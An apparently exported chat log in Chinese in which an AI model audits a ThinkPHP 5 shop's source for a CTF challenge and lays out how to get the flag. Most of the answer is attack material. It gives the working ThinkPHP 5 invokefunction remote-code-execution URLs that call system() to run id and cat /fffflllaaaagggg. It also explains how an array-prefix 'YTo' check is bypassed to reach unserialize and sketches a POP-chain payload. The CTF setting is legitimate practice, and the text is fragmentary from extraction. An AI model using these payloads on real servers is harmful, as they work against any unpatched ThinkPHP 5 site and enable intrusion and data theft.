你帮我审计一下源码,获取主机上的flag
創建於:2026年5月27日
使用 GPT-5.5 Thinking 回答 Chat01
創建於:2026年5月27日
使用 GPT-5.5 Thinking 回答 Chat01
你帮我审计一下源码,获取主机上的flag
我先看了你上传的源码,这是一套基于 ThinkPHP 5 的商城代码,源码里有几个比较关键的安全点。
目前只有源码,没有运行环境/目标地址,所以我没法直接“读取主机 flag”。
但我可以把可能的利用链和关键漏洞给你梳理出来。
从目录结构和配置看:
think\Controllerconfig.phpurl_route_on => true这类题最常见的是:
典型利用链:
php/index.php?s=/Index/\think\app/invokefunction
或者:
php/index.php?s=index/\think\Request/input
如果版本是:
那么大概率能直接命令执行。
常见验证:
http/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=id
如果能执行,再读取 flag:
http&vars[1][]=cat /flag
或者:
http&vars[1][]=cat /flag.txt
这里非常关键:
php$data['data'] = base64_encode( serialize($this->markdownToArray($data['data'])) );
说明:
data 字段存的是:
phpif (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo") { $this->error("数据错误"); }
这里作者想限制:
phpa:
也就是:
phpserialize(array())
base64 后会以:
textYTo
开头。
但是:
因为:
phpa:1:{ i:0; O:8:"stdClass":0:{} }
依然是:
texta:
开头。
base64 后同样:
textYTo...
也就是说:
如果后面模板里存在:
phpunserialize(base64_decode($goods['data']))
那就是:
这类 CTF 通常套路:
text商品详情 ↓ 反序列化 goods.data ↓ ThinkPHP POP Chain ↓ system() ↓ 读取 flag
phpif (is_array($value) && !empty($value))
说明:
而源码里没有看到:
phpunserialize(..., ['allowed_classes'=>false])
所以:
配置:
php'cache' => [ 'type' => 'Memcached', ]
登录:
phpDb::table('admin') ->cache(true, $Expire) ->find($username);
老版本 ThinkPHP + Memcached 在一些题里会结合:
但你给的源码不够完整,目前不能确认。
我认为优先级:
先测:
http/index.php?s=/index/\think\app/invokefunction
如果能打通,直接结束。
找:
phpunserialize(base64_decode(...))
如果有:
即可 RCE。
作者以为:
phpsubstr(...,0,3) === "YTo"
就代表:
phpserialize(array)
但实际上:
phparray(object)
一样满足。
这是典型:
如果你愿意,可以继续把:
再发我。
我可以继续帮你:
这个是完整的源码,继续分析获取flag
继续分析后,这个题的利用链已经比较清晰了。
你这个环境里最关键的信息其实已经暴露出来了:
text/fffflllaaaagggg
源码根目录下专门放了一个:
textfffflllaaaagggg
文件。
本地解压里内容是:
textflag=
这说明:
也就是说最终目标就是:
bashcat /fffflllaaaagggg
这里存在:
漏洞位置:
phpunserialize(base64_decode($goods['data']))
出现了两次:
phpecho $view->arrayToMarkdown( unserialize(base64_decode($goods['data'])) );
phpecho $view->arrayToHtml( unserialize(base64_decode($goods['data'])) );
源码里:
phpif (!empty($data[0]['data']) && substr($data[0]['data'], 0, 3) !== "YTo") { $this->error("数据错误"); }
作者以为:
textYTo
代表:
phpserialize(array())
但实际上:
phpa:1:{ i:0; O:8:"stdClass":0:{} }
一样以:
texta:
开头。
base64 后同样:
textYTo...
所以:
这是典型:
start.sh:
bashservice php5.6-fpm start
说明:
而且:
phpuse think\Controller;
确定:
预期利用链基本已经能确定:
text构造恶意 goods.data ↓ 模板中 unserialize() ↓ ThinkPHP POP Chain ↓ system() ↓ cat /fffflllaaaagggg
这里最重要:
phpgoods.html
商品详情页:
phpunserialize(base64_decode($goods['data']))
是:
也就是说:
数据库初始化:
sqlCREATE TABLE admin
但:
说明:
后台本来就登录不了。
因此:
因为这是:
textThinkPHP5 + PHP5.6
经典组合。
直接测试:
http/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=id
如果回显:
textuid=
说明已经 RCE。
然后直接:
http/index.php?s=/index/\think\app/invokefunction &function=call_user_func_array &vars[0]=system &vars[1][]=cat /fffflllaaaagggg
即可得到 flag。
那就走:
因为:
phpunserialize(base64_decode(...))
是确定存在的。
你需要的结构是:
phparray( 0 => <恶意对象> )
因为:
a: 开头YTo形如:
php$a = [ new think\process\pipes\Windows() ]; echo base64_encode(serialize($a));
然后写入:
sqlgoods.data
访问商品详情页即可触发。
因为题目根目录专门放了:
textfffflllaaaagggg
CTF 里这是非常典型的:
dockerfileCOPY flag /fffflllaaaagggg
本地为空:
textflag=
说明:
这个题的完整利用链:
textThinkPHP5 ↓ 历史 RCE / 反序列化 ↓ 命令执行 ↓ cat /fffflllaaaagggg
最终目标文件:
bash/fffflllaaaagggg
最终读取命令:
bashcat /fffflllaaaagggg
目前源码里没有真实 flag 值,因为部署时才会写入。